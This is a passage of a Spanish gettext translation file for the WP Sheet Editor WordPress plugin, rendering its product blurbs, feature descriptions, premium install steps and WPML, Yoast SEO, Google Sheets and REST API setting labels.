                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" 